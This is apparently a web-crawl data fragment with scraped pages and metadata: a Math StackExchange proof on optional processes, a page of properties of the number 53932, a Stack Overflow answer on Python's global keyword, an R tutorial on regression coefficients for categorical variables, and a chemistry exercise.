(1991)).\n\nStep2. Let $$k \\in {\\mathbb N}$$, $$\\{Y_{i}\\}_{i=1}^{k}$$ be cadlag adapted processes and $$\\{E_{i}\\}_{i=1}^{k}$$ be open sets in $${\\mathbb R}^{1}$$. Then $$\\cap_{i=1}^{k}Y_{i}^{-1}(E_{i}) \\in {\\mathcal O}'$$. Indeed, let $$i \\in \\{1,2,\\ldots,k\\}$$ and define \\begin{align*} \\phi(x):= \\left\\{ \\begin{array}{lL} 1, & x \\leq 0 \\\\ 1-x, & 0 \\leq x \\leq 1 \\\\ 0, & 1 \\leq x \\end{array} \\right., \\quad \\phi_{n}^{i}(x):=1-\\phi(n\\rho(x,E_{i}^{c})), \\quad x \\in {\\mathbb R}^{1}, n \\in {\\mathbb N}, \\end{align*} where $$\\rho(x,E_{i}^{c})=\\inf\\{|y-x|; y \\in E_{i}^{c}\\}$$. Then $$\\{\\phi_{n}^{i}\\}_{n \\in {\\mathbb N}}$$ is a sequence of real and bounded continuous functions such that $$\\uparrow\\lim_{n \\uparrow \\infty}\\phi_{n}^{i}(x)={\\bf 1}_{E_{i}}(x), \\quad x \\in {\\mathbb R}^{1}.$$ Thus for any $$(\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}$$, we obtain $$\\uparrow\\lim_{n \\uparrow \\infty}\\prod_{i=1}^{k}\\phi_{n}^{i}(Y_{i}(\\omega,t)) =\\prod_{i=1}^{k}{\\bf 1}_{E_{i}}(Y_{i}(\\omega,t)) =\\prod_{i=1}^{k}{\\bf 1}_{Y_{i}^{-1}(E_{i})}(\\omega,t) ={\\bf 1}_{\\cap_{i=1}^{k}Y_{i}^{-1}(E_{i})}(\\omega,t).$$ Hence $${\\bf 1}_{\\cap_{i=1}^{k}Y_{i}^{-1}(E_{i})} \\in \\Phi$$ by (ii) since $$\\prod_{i=1}^{k}\\phi_{n}^{i}(Y_{i}) \\in \\Phi$$. This implies that $$\\cap_{i=1}^{k}Y_{i}^{-1}(E_{i}) \\in {\\mathcal O'}$$.\n\nStep3. Define \\begin{align*} {\\mathcal I}&:=\\left\\{\\cap_{i=1}^{k}Y_{i}^{-1}(E_{i}); \\{Y_{i}\\}_{i=1}^{k} \\text{ is cadlag adapted processes},\\right. \\\\ &\\hspace{3.4cm}\\left.\\{E_{i}\\}_{i=1}^{k} \\text{ is open sets in } {\\mathbb R}^{1}, k \\in {\\mathbb N}\\right\\}. \\end{align*} Then $${\\mathcal I}$$ is a $$\\pi$$-system on $$\\Omega \\times {\\mathbb R}_{+}$$ (i.e., $$A,B \\in {\\mathcal I} \\Rightarrow A \\cap B \\in {\\mathcal I}$$) and $$\\sigma({\\mathcal I})={\\mathcal O}$$ (i.e., $${\\mathcal O}$$ is generated by $${\\mathcal I}$$). Indeed, $$\\sigma({\\mathcal I}) \\subset {\\mathcal O}$$ is obvious since $${\\mathcal I} \\subset {\\mathcal O}$$. Next, let $$Y$$ ba a cadlag adapted process and define $${\\mathcal A}:=\\left\\{E \\in {\\mathcal B}({\\mathbb R}^{1}); Y^{-1}(E) \\in \\sigma({\\mathcal I})\\right\\}.$$ Then $${\\mathcal A}={\\mathcal B}({\\mathbb R}^{1})$$ since $${\\mathcal A}$$ is a $$\\sigma$$-field ($$\\sigma$$-algebra) on $${\\mathbb R}^{1}$$. Thus for any an open set $$E$$ in $${\\mathbb R}^{1}$$, $$Y^{-1}(E) \\in \\sigma({\\mathcal I})$$ since $$E \\in {\\mathcal B}({\\mathbb R}^{1})={\\mathcal A}$$. This implies that $$\\sigma({\\mathcal I}) \\supset {\\mathcal O}$$.\n\nStep4. $${\\mathcal I} \\subset {\\mathcal O}'$$ by Step2. Thus $$d(I) \\subset {\\mathcal O}'$$ by Step1. Hence $${\\mathcal O}=\\sigma({\\mathcal I})=d({\\mathcal I}) \\subset {\\mathcal O}'$$ by Step3 (cf. page 193, Williams (1991)).\n\nStep5. For any $$A \\in {\\mathcal O}$$, $${\\bf 1}_{A} \\in \\Phi$$ since $$A \\in {\\mathcal O}'$$ by Step4. This implies that for any a one-dimensional bounded optimal process is an element in $$\\Phi$$ by the standard-machine argument (cf. page 56, Williams (1991)).\n\nThus this Lemma had been proved by Step5.\n\nProof of Proposition 1.21.\n\nStep6. Set \\begin{align*} \\Phi&:=\\left\\{\\phi; \\phi \\text{ is a one-dimensional bounded}\\right. \\\\ &\\hspace{1.4cm}\\left.{\\mathcal F} \\otimes {\\mathcal B}({\\mathbb R}_{+})\\text{-measurable process which satisfies (a) and (b).}\\right\\}. \\end{align*} Then $$\\Phi$$ is a linear space which satisfies the conditions (i) and (ii) in Lemma. Thus $$\\Phi$$ contains all one-dimensional bounded optimal processes by Lemma. Indeed, let $$\\{\\phi_{n}\\}_{n \\in {\\mathbb N}}$$ be a monotone increasing sequence of process in $$\\Phi$$.\n\n(a) For any $$\\omega \\in \\Omega$$, $$\\phi(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)=\\sup_{n \\in {\\mathbb N}}\\phi_{n}(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)=\\limsup_{n \\uparrow \\infty}\\phi_{n}(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega).$$ Thus $$\\omega \\mapsto \\phi(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)$$ is $${\\mathcal F}_{T}$$-measurable since $$\\omega \\mapsto \\phi_{n}(\\omega,T(\\omega))$$ is $${\\mathcal F}_{T}$$-measurable (cf. page 31, Williams (1991)).\n\n(b) For any $$(\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}$$, $$\\phi(\\omega,T(\\omega) \\wedge t)=\\sup_{n \\in {\\mathbb N}}\\phi_{n}(\\omega,T(\\omega) \\wedge t)=\\limsup_{n \\uparrow \\infty}\\phi_{n}(\\omega,T(\\omega) \\wedge t).$$ Thus $$(\\omega,t) \\mapsto \\phi(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable since $$(\\omega,t) \\mapsto \\phi_{n}(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable (cf. page 31, Williams (1991)).\n\nHence $$\\Phi$$ contains all one-dimensional bounded optimal processes by Lemma.\n\nStep7. Let ($$d=1$$) and $$X$$ be a one-dimensional optimal process. Let $$n \\in {\\mathbb N}$$ and set $$X_{n}(\\omega,t):=X(\\omega,t) \\wedge n, \\quad (\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}.$$ Then $$X_{n}$$ is a one-dimensional bounded optimal process since a function $$x \\mapsto x \\wedge n$$ is continuous (cf. page 30, 31, Williams (1991)). Thus $$X_{n}$$ satisfies (a) and (b) by Step6. This implies that $$X$$ satisfies (a) and (b). Indeed,\n\n(a) For any $$\\omega \\in \\Omega$$, $$X(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)=\\limsup_{n \\uparrow \\infty}X_{n}(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega).$$ Thus $$\\omega \\mapsto X(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)$$ is $${\\mathcal F}_{T}$$-measurable since $$\\omega \\mapsto X_{n}(\\omega,T(\\omega))$$ is $${\\mathcal F}_{T}$$-measurable (cf. page 31, Williams (1991)).\n\n(b) For any $$(\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}$$, $$X(\\omega,T(\\omega) \\wedge t)=\\limsup_{n \\uparrow \\infty}X_{n}(\\omega,T(\\omega) \\wedge t).$$ Thus $$(\\omega,t) \\mapsto X(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable since $$(\\omega,t) \\mapsto X_{n}(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable (cf. page 31, Williams (1991)).\n\nStep8. Let $$d \\in {\\mathbb N}$$ and $$X=(X^{1},X^{2},\\ldots,X^{d})$$ be a $$d$$-dimensional optimal process. Then for any $$i \\in \\{1,2,\\ldots,d\\}$$, $$X^{i}$$ satisfies the conditions (a) and (b) by Step7 since $$X^{i}$$ a one-dimensional optimal process. This implies that $$X$$ satisfies (a) and (b). Indeed,\n\n(a) For any $$E_{1},E_{2},\\ldots,E_{d} \\in {\\mathcal B}({\\mathbb R}^{1})$$, \\begin{align*} &\\left\\{\\omega \\in \\Omega; X(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega) \\in E_{1} \\times E_{2} \\times \\cdots \\times E_{d}\\right\\} \\\\ &=\\cap_{i=1}^{d}\\left\\{\\omega \\in \\Omega; X^{i}(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega) \\in E_{i}\\right\\} \\in {\\mathcal F}_{T} \\end{align*} since $$\\omega \\mapsto X^{i}(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)$$ is $${\\mathcal F}_{T}$$-measurable. Thus $$\\omega \\mapsto X(\\omega,T(\\omega)){\\bf 1}_{\\{T<\\infty\\}}(\\omega)$$ is $${\\mathcal F}_{T}$$-measurable (cf. page 76, 30, Williams (1991)).\n\n(b) For any $$E_{1},E_{2},\\ldots,E_{d} \\in {\\mathcal B}({\\mathbb R}^{1})$$, \\begin{align*} &\\left\\{(\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}; X(\\omega,T(\\omega) \\wedge t) \\in E_{1} \\times E_{2} \\times \\cdots \\times E_{d}\\right\\} \\\\ &=\\cap_{i=1}^{d}\\left\\{(\\omega,t) \\in \\Omega \\times {\\mathbb R}_{+}; X^{i}(\\omega,T(\\omega) \\wedge t) \\in E_{i}\\right\\} \\in {\\mathcal O} \\end{align*} since $$(\\omega,t) \\mapsto X^{i}(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable. Thus $$(\\omega,t) \\mapsto X(\\omega,T(\\omega) \\wedge t)$$ is $${\\mathcal O}$$-measurable (cf. page 76, 30, Williams (1991)).\n\nHence Proposition 1.21 had been proved by Step8.\n\n• Why does (b) hold by (i)? Doesn't (b) hold simply because $1_{B \\backslash A} = 1_B - 1_A$, where $1_A, 1_B \\in \\Phi$, and $\\Phi$ is linear? And in Step 3, I think you mean the sets $\\cap_{i=1}^k Y_i^{-1}(E_i)$? So the proof concludes that $\\Phi$ contains all bounded optional processes. How can we get rid of the boundedness restriction? Finally, how can we extend the result to $\\mathbb{R}^d$-valued processes instead of just $\\mathbb{R}$-valued? – nomadicmathematician Feb 16 at 7:33\n• One more question : why is the set of all measurable processes satisfying (a) and (b) in Proposition 1.21 stable under pointwise convergence? If $X_n \\to X$ pointwise, then how do we show that $X_T 1_{T < \\infty}$ is $\\mathscr{F}_T$ -measurable and the stopped process $X^T$ is optional? In fact, I'm not sure how we get $(X_n)^T \\to X^T$ and $(X_n)_T 1_{T < \\infty} \\to X_T 1_{T < \\infty}$ from $X_n \\to X$. – nomadicmathematician Feb 16 at 7:37\n• The proof was added and corrected. – 720773 Feb 16 at 11:21\n• To Question 1: Yes. We used the linearity of $\\Phi$ to show ${\\bf 1}_{B \\setminus A}={\\bf 1}_{B}-{\\bf 1}_{A} \\in \\Phi$. To Question 2: One often use the approximation technique. To Question 3: We used a truncate technique in Step7 to rid of the boundedness restriction. To Question 4: We used a technique in Step8 to extend the result to general dimensions. To Question 5: These hold by a property of the measurability about pointwise convergence (or limit superior) (cf. page 31, Williams (1991)). – 720773 Feb 16 at 12:35\n• Excellent answer took me some time to go through them but seems flawless and resolves all the queries I had, except for $\\mathcal{I}$ in Step 3 should be fixed to have elements of the form $\\cap_{i=1}^k Y_i^{-1}(E_i)$? – nomadicmathematician Feb 16 at 13:27"
] | [
null,
"https://i.stack.imgur.com/7NLXD.png",
null,
"https://i.stack.imgur.com/sghcl.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.54560965,"math_prob":1.000002,"size":8428,"snap":"2020-10-2020-16","text_gpt3_token_len":3337,"char_repetition_ratio":0.20595917,"word_repetition_ratio":0.1494592,"special_character_ratio":0.42607972,"punctuation_ratio":0.12471655,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000095,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-03T02:30:03Z\",\"WARC-Record-ID\":\"<urn:uuid:c0c812fd-58f1-49ad-a29d-2053d484ef56>\",\"Content-Length\":\"168748\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b3da9053-a94f-4d64-b848-2020c0b77f70>\",\"WARC-Concurrent-To\":\"<urn:uuid:2638dd76-ab3b-4243-a588-01996b71ca71>\",\"WARC-IP-Address\":\"151.101.129.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/3544197/application-of-monotone-class-theorem-on-extending-measurability-to-optional-pro/3548250\",\"WARC-Payload-Digest\":\"sha1:6L6XHZHAS6ADURCUAPF6LNBPWL43P7TY\",\"WARC-Block-Digest\":\"sha1:JFNQGFAWP5WPI2BEIESV4DBEMVT5TH2W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585370509103.51_warc_CC-MAIN-20200402235814-20200403025814-00125.warc.gz\"}"} |
https://metanumbers.com/53932 | [
"## 53932\n\n53,932 (fifty-three thousand nine hundred thirty-two) is an even five-digits composite number following 53931 and preceding 53933. In scientific notation, it is written as 5.3932 × 104. The sum of its digits is 22. It has a total of 4 prime factors and 12 positive divisors. There are 26,496 positive integers (up to 53932) that are relatively prime to 53932.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Even\n• Number length 5\n• Sum of Digits 22\n• Digital Root 4\n\n## Name\n\nShort name 53 thousand 932 fifty-three thousand nine hundred thirty-two\n\n## Notation\n\nScientific notation 5.3932 × 104 53.932 × 103\n\n## Prime Factorization of 53932\n\nPrime Factorization 22 × 97 × 139\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 3 Total number of distinct prime factors Ω(n) 4 Total number of prime factors rad(n) 26966 Product of the distinct prime numbers λ(n) 1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 53,932 is 22 × 97 × 139. Since it has a total of 4 prime factors, 53,932 is a composite number.\n\n## Divisors of 53932\n\n1, 2, 4, 97, 139, 194, 278, 388, 556, 13483, 26966, 53932\n\n12 divisors\n\n Even divisors 8 4 2 2\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 12 Total number of the positive divisors of n σ(n) 96040 Sum of all the positive divisors of n s(n) 42108 Sum of the proper positive divisors of n A(n) 8003.33 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 232.233 Returns the nth root of the product of n divisors H(n) 6.73869 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 53,932 can be divided by 12 positive divisors (out of which 8 are even, and 4 are odd). The sum of these divisors (counting 53,932) is 96,040, the average is 80,03.,333.\n\n## Other Arithmetic Functions (n = 53932)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 26496 Total number of positive integers not greater than n that are coprime to n λ(n) 2208 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 5491 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 26,496 positive integers (less than 53,932) that are coprime with 53,932. And there are approximately 5,491 prime numbers less than or equal to 53,932.\n\n## Divisibility of 53932\n\n m n mod m 2 3 4 5 6 7 8 9 0 1 0 2 4 4 4 4\n\nThe number 53,932 is divisible by 2 and 4.\n\n• Deficient\n\n• Polite\n\n## Base conversion (53932)\n\nBase System Value\n2 Binary 1101001010101100\n3 Ternary 2201222111\n4 Quaternary 31022230\n5 Quinary 3211212\n6 Senary 1053404\n8 Octal 151254\n10 Decimal 53932\n12 Duodecimal 27264\n20 Vigesimal 6egc\n36 Base36 15m4\n\n## Basic calculations (n = 53932)\n\n### Multiplication\n\nn×i\n n×2 107864 161796 215728 269660\n\n### Division\n\nni\n n⁄2 26966 17977.3 13483 10786.4\n\n### Exponentiation\n\nni\n n2 2908660624 156869884773568 8460306625608069376 456281256932294397586432\n\n### Nth Root\n\ni√n\n 2√n 232.233 37.7818 15.2392 8.83831\n\n## 53932 as geometric shapes\n\n### Circle\n\n Diameter 107864 338865 9.13783e+09\n\n### Sphere\n\n Volume 6.57095e+14 3.65513e+10 338865\n\n### Square\n\nLength = n\n Perimeter 215728 2.90866e+09 76271.4\n\n### Cube\n\nLength = n\n Surface area 1.7452e+10 1.5687e+14 93413\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 161796 1.25949e+09 46706.5\n\n### Triangular Pyramid\n\nLength = n\n Surface area 5.03795e+09 1.84873e+13 44035.3"
] | [
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https://stackoverflow.com/questions/12665994/function-not-changing-global-variable | [
"# Function not changing global variable\n\nmy code is as follow:\n\n``````done = False\n\ndef function():\nfor loop:\ncode\nif not comply:\ndone = True #let's say that the code enters this if-statement\n\nwhile done == False:\nfunction()\n``````\n\nFor some reason when my code enters the if statement, it doesn't exit the while loop after it's done with function().\n\nBUT, if I code it like this:\n\n``````done = False\n\nwhile done == False:\nfor loop:\ncode\nif not comply:\ndone = True #let's say that the code enters this if-statement\n``````\n\n...it exits the while loop. What's going on here?\n\nI made sure that my code enters the if-statement. I haven't run the debugger yet because my code has a lot of loops (pretty big 2D array) and I gave up on debugging due to it being so tedious. How come \"done\" isn't being changed when it's in a function?\n\n• Lots of Python global variable questions today. – icktoofay Sep 30 '12 at 23:24\n• Thank you guys! Can't believe it was that simple but it's definitely a different touch than Java/C++ – cYn Sep 30 '12 at 23:27\n\nYour issue is that functions create their own namespace, which means that `done` within the function is a different one than `done` in the second example. Use `global done` to use the first `done` instead of creating a new one.\n\n``````def function():\nglobal done\nfor loop:\ncode\nif not comply:\ndone = True\n``````\n\nAn explanation of how to use `global` can be found here\n\n``````done=False\ndef function():\nglobal done\nfor loop:\ncode\nif not comply:\ndone = True\n``````\n\nyou need to use the global keyword to let the interpreter know that you refer to the global variable `done`, otherwise it's going to create a different one who can only be read in the function.\n\nUse `global`, only then you can modify a global variable otherwise a statement like `done = True` inside the function will declare a new local variable named `done`:\n\n``````done = False\ndef function():\nglobal done\nfor loop:\ncode\nif not comply:\ndone = True\n``````"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.93129516,"math_prob":0.73053277,"size":751,"snap":"2019-35-2019-39","text_gpt3_token_len":191,"char_repetition_ratio":0.13788487,"word_repetition_ratio":0.18705036,"special_character_ratio":0.25832224,"punctuation_ratio":0.125,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9654958,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-20T21:29:36Z\",\"WARC-Record-ID\":\"<urn:uuid:0bb0d580-bee4-4cea-83b5-5ae41424779a>\",\"Content-Length\":\"158608\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:65608218-3c3b-49ab-a82c-4a4a54bf50a1>\",\"WARC-Concurrent-To\":\"<urn:uuid:fb0cdefd-fc3c-46b5-ab26-ee6ba3148ed7>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://stackoverflow.com/questions/12665994/function-not-changing-global-variable\",\"WARC-Payload-Digest\":\"sha1:TPWMDHLC4PP7JXEPD24H7T2G6KI26PM4\",\"WARC-Block-Digest\":\"sha1:PO2OYNREYLN474CNOS3MRXFGMOVLOCBG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514574077.39_warc_CC-MAIN-20190920200607-20190920222607-00266.warc.gz\"}"} |
https://freakonometrics.hypotheses.org/2591 | [
"",
null,
"# Regression on categorical variables\n\nThis morning, Stéphane asked me tricky question about extracting coefficients from a regression with categorical explanatory variates. More precisely, he asked me if it was possible to store the coefficients in a nice table, with information on the variable and the modality (those two information being in two different columns). Here is some code I did to produce the table he was looking for, but I guess that some (much) smarter techniques can be used (comments – see below – are open). Consider the following dataset\n\n> base\nx sex hair\n1 1 H Black\n2 4 F Brown\n3 6 F Black\n4 6 H Black\n5 10 H Brown\n6 5 H Blonde\n\nwith two factors,\n\n> levels(base$hair) \"Black\" \"Blonde\" \"Brown\" > levels(base$sex)\n \"F\" \"H\"\n\nLet us run a (standard linear) regression,\n\n> reg=lm(x~hair+sex,data=base)\n\nwhich is here\n\n> summary(reg)\n\nCall:\nlm(formula = x ~ hair + sex, data = base)\n\nResiduals:\n1 2 3 4 5 6\n-3.714e+00 -2.429e+00 2.429e+00 1.286e+00 2.429e+00 -2.220e-16\n\nCoefficients:\nEstimate Std. Error t value Pr(>|t|)\n(Intercept) 3.5714 3.4405 1.038 0.408\nhairBlonde 0.2857 4.8655 0.059 0.959\nhairBrown 2.8571 3.7688 0.758 0.528\nsexH 1.1429 3.7688 0.303 0.790\n\nResidual standard error: 4.071 on 2 degrees of freedom\nMultiple R-squared: 0.2352,\tAdjusted R-squared: -0.9121\nF-statistic: 0.205 on 3 and 2 DF, p-value: 0.886\n\nIf we want to extract the names of the factors (assuming here that there are no numbers in the name of the factor), and the values of the associated modality, one can use\n\n> VARIABLE=c(\"\",gsub(\"[-^0-9]\", \"\", names(unlist(reg$xlevels)))) > MODALITY=c(\"\",as.character(unlist(reg$xlevels)))\n> names=data.frame(VARIABLE,MODALITY,NOMVAR=c(\n+ \"(Intercept)\",paste(VARIABLE,MODALITY,sep=\"\")[-1]))\n> regression=data.frame(NOMVAR=names(coefficients(reg)),\n+ COEF=as.numeric(coefficients(reg)))\n> merge(names,regression,all.x=TRUE)\nNOMVAR VARIABLE MODALITE COEF\n1 (Intercept) 3.5714286\n2 hairBlack hair Black NA\n3 hairBlonde hair Blonde 0.2857143\n4 hairBrown hair Brown 2.8571429\n5 sexF sex F NA\n6 sexH sex H 1.1428571\n\nor, if we want modalities exluding references,\n\n> merge(names,regression)\nNOMVAR VARIABLE MODALITE COEF\n1 (Intercept) 3.5714286\n2 hairBlonde hair Blonde 0.2857143\n3 hairBrown hair Brown 2.8571429\n4 sexH sex H 1.1428571\n\nIn order to reproduce the table Stéphane sent me, let us use the following code to produce an html table,\n\n> library(xtable)\n> htlmtable <- xtable(merge(names,regression))\n> print(htlmtable,type=\"html\")\nNOMVAR VARIABLE MODALITY COEF\n1 (Intercept) 3.57\n2 hairBlonde hair Blonde 0.29\n3 hairBrown hair Brown 2.86\n4 sexH sex H 1.14\n\nSo yes, it is possible to build a table with the variable, modalities, and coefficients. This function can be interesting on prospective mortality, when we do have a large number of modalities per factor (years, ages and year of birth). Consider the following datasets\n\n> DEATH=read.table(\n+ \"http://freakonometrics.free.fr/DeathsSwitzerland.txt\",\n+ \"http://freakonometrics.free.fr/ExposuresSwitzerland.txt\",\n> DEATH$Age=as.numeric(as.character(DEATH$Age))\n> DEATH=DEATH[-which(is.na(DEATH$Age)),] > EXPOSURE$Age=as.numeric(as.character(EXPOSURE$Age)) > EXPOSURE=EXPOSURE[-which(is.na(EXPOSURE$Age)),]\n> base=data.frame(y=as.factor(DEATH$Year),a=as.factor(DEATH$Age),\n+ c=as.factor(DEATH$Year-DEATH$Age),D=DEATH$Total,E= EXPOSURE$Total)\n> base=base[base$E>0,] and the following nonlinear model, based on Lee-Carter model (including a cohort effect), can be estimated using > library(gnm) > reg=gnm(D~a+Mult(a,y)+Mult(a,c),offset=log(E),family=poisson,data=base) In order to extract the 671 coefficients from the regresssion, > length(coefficients(reg)) 671 (as properly as possible) we have to be careful: names of coefficients are not that simple to handle. For instance, we can see things like > coefficients(reg) Mult(., year).age98 0.04203519 In order to extract them, define > na=length((reg$xlevels)$age) > ny=length((reg$xlevels)$year) > nc=length((reg$xlevels)$cohort) > VARIABLElong=c(\"\",rep(\"age\",na),rep(\"Mult(., year).age\",na), + rep(\"Mult(a, .).y\",ny), + rep(\"Mult(., cohort).age\",na),rep(\"Mult(age, .).cohort\",nc)) > VARIABLEshort=c(\"\",rep(\"age\",na),rep(\"age\",na),rep(\"year\",ny), + rep(\"age\",na),rep(\"cohort\",nc)) > MODALITY=c(\"\",(reg$xlevels)$age,(reg$xlevels)$age, + (reg$xlevels)$year,(reg$xlevels)$age,(reg$xlevels)$cohort) > names=data.frame(VARIABLElong,VARIABLEshort, + MODALITY,NOMVAR=c(\"(Intercept)\",paste(VARIABLElong,MODALITY,sep=\"\")[-1])) > regression=data.frame(NOMVAR=names(coefficients(reg)), + COEF=as.numeric(coefficients(reg))) Here we go, now we have the coefficients from the regression in a nice table, > outputreg=merge(names,regression) > outputreg[1:10,] NOMVAR VARIABLElong VARIABLEshort MODALITY COEF 1 (Intercept) -8.22225458 2 age1 age age 1 -0.87495451 3 age10 age age 10 -1.67145704 4 age100 age age 100 4.91041650 5 age11 age age 11 -1.00186990 6 age12 age age 12 -1.05953497 7 age13 age age 13 -0.90952859 8 age14 age age 14 0.02880668 9 age15 age age 15 0.42830738 10 age16 age age 16 1.35961403 It is now possible to plot all the coefficients, as functions of the age, the year of observation, or the year of birth. For instance, for the standard average age effect (namely as a function of ), we can use > typevariable=as.character(unique(outputreg$VARIABLElong))\n> basegraph=outputreg[outputreg$VARIABLElong==typevariable,] > x=as.numeric(as.character(basegraph$MODALITY))\n> y=basegraph$COEF > plot(x,y,type=\"p\",col=\"blue\",xlab=\"Age\")",
null,
"while the cohort effect ( as a function of ) is obtained using > basegraph=outputreg[outputreg$VARIABLElong==typevariable,]\n> x=as.numeric(as.character(basegraph$MODALITY)) > y=basegraph$COEF\n> plot(x,y,type=\"p\",col=\"blue\",xlab=\"Cohort (year of birth)\",ylim=c(0,10))",
null,
"## One thought on “Regression on categorical variables”\n\n1.",
null,
"Lacucafera says:\n\nThanks a lot!\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed."
] | [
null,
"https://f-origin.hypotheses.org/wp-content/blogs.dir/253/files/2013/01/mort-deces-lego-193x300.png",
null,
"http://freakonometrics.hypotheses.org/files/2013/01/Capture-d%E2%80%99e%CC%81cran-2013-01-30-a%CC%80-15.59.12.png",
null,
"http://freakonometrics.hypotheses.org/files/2013/01/Capture-d%E2%80%99e%CC%81cran-2013-01-30-a%CC%80-16.07.25.png",
null,
"https://secure.gravatar.com/avatar/7996ba45119503562b6a93929a99b145",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.61290413,"math_prob":0.9645195,"size":5875,"snap":"2020-45-2020-50","text_gpt3_token_len":1888,"char_repetition_ratio":0.11173565,"word_repetition_ratio":0.013986014,"special_character_ratio":0.3281702,"punctuation_ratio":0.18425325,"nsfw_num_words":4,"has_unicode_error":false,"math_prob_llama3":0.9978044,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,1,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-21T12:26:05Z\",\"WARC-Record-ID\":\"<urn:uuid:77a5cd71-0392-4539-849e-822c500940f7>\",\"Content-Length\":\"179996\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:053283f7-ae50-41ef-8d7b-b2068c3d97a6>\",\"WARC-Concurrent-To\":\"<urn:uuid:b0e9a0ff-04a5-4247-b03f-56c9d0dda5da>\",\"WARC-IP-Address\":\"134.158.39.133\",\"WARC-Target-URI\":\"https://freakonometrics.hypotheses.org/2591\",\"WARC-Payload-Digest\":\"sha1:EJMQX6QMXIZSSQP56NRNPNWGDS55SFZA\",\"WARC-Block-Digest\":\"sha1:NJYBOEOBGQ232BXM2YUTREQPRDJHQUY3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107876500.43_warc_CC-MAIN-20201021122208-20201021152208-00284.warc.gz\"}"} |
https://www.solutioninn.com/the-partial-molar-volumes-of-two-liquids-and-b-in-mixture | [
"# The partial molar volumes of two liquids A and B in a mixture\n\nThe partial molar volumes of two liquids A and B in a mixture in which the mole fraction of A is 0.3713 are 188.2 cm3 mol-1 and 176.14 cm3 rnol-1 respectively. The molar masses of A and Bare 241.1 g mol-1 and 198.2 g mol-1. What is the volume of a solution of mass 1.000 kg?\n\n#### Members\n\n• Access to 1 Million+ Textbook solutions\n• Ask any question from 24/7 available\nTutors\n\\$9.99"
] | [
null
